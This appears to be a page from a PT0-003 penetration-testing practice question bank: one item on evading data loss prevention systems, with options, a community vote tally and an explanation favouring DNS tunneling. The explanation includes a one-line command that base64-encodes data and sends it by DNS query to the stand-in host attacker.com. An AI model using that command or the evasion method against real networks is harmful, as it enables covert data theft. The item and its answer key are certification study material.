A penetration tester has discovered sensitive files on a system. Assuming exfiltration of the files is part of the scope of the test, which of the following is most likely to evade DLP systems?

The correct answer is A. Encoding the data and pushing through DNS to the tester's controlled server. DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices. DNS is often overlooked by DLP systems because it is required for network functionality. Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate…

Submitted by devops_kid· Mar 6, 2026Post-exploitation and Lateral Movement

Question

Options

AEncoding the data and pushing through DNS to the tester's controlled server.
BPadding the data and uploading the files through an external cloud storage service.
CObfuscating the data and pushing through FTP to the tester's controlled server.
DHashing the data and emailing the files to the tester's company inbox.

How the community answered

(46 responses)

A
74% (34)
B
9% (4)
C
13% (6)
D
4% (2)

Explanation

DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices. DNS is often overlooked by DLP systems because it is required for network functionality. Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate data inside DNS queries. echo "Sensitive Data" | base64 | nslookup -q=TXT attacker.com

Topics

#Data exfiltration#DLP evasion#DNS tunneling#Post-exploitation

Community Discussion

No community discussion yet for this question.

Full PT0-003 Practice